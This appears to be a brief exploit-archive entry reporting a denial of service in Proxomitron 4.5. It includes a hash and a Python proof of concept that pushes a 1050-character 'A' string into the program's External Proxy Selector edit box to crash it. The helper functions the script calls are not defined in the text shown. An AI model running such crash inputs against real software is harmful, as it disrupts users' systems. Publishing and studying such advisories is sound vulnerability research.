Proxomitron version 4.5 suffers from a denial of service vulnerability.
1184defa13f2a008ed52cb4879b02686a89b1072b259003a74b1d2830479b328
import os,sys,subprocess,time,struct,array,ctypes,win32con,win32gui,win32api
mybuffer = "A" * 1050
mainDialog = findTopWindow(wantedText='External Proxy Selector')
findValue = findControl(mainDialog, wantedClass="Edit")
setEditText(findValue, mybuffer)